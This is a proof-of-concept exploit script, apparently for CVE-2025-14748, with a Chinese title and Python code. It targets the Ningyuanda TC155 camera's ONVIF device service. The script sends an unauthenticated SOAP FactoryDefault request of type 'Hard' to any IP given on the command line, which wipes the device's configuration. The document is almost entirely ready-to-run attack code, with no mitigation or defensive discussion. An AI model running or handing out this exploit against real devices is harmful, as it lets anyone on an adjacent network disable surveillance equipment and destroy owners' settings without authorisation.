CVE-2025-14748: Ningyuanda TC155 ONVIF设备服务未授权硬重置漏洞

import requests import sys # CVE-2025-14748 PoC - Ningyuanda TC155 Unauthenticated Hard Reset # Target: Ningyuanda TC155 ONVIF Device Service # Attack Vector: Adjacent Network (AV:A) # Authentication: None Required (PR:N) def exploit_hard_reset(target_ip, target_port=80): """ Exploit for CVE-2025-14748 Sends an unauthenticated SOAP request to perform factory reset (Hard) """ url = f"http://{target_ip}:{target_port}/onvif/device_service" # SOAP Envelope for FactoryDefault with Hard parameter soap_payload = """<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tds="http://www.onvif.org/ver10/device/wsdl"> <soap:Header/> <soap:Body> <tds:FactoryDefault> <tds:FactoryDefaultType>Hard</tds:FactoryDefaultType> </tds:FactoryDefault> </soap:Body> </soap:Envelope>""" headers = { 'Content-Type': 'application/soap+xml', 'SOAPAction': '"http://www.onvif.org/ver10/device/wsdl/FactoryDefault"' } try: print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Sending FactoryDefault (Hard) request...") response = requests.post(url, data=soap_payload, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text[:500]}") if response.status_code == 200: print("[+] Factory reset command sent successfully") return True else: print("[-] Unexpected response") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_hard_reset(target, port)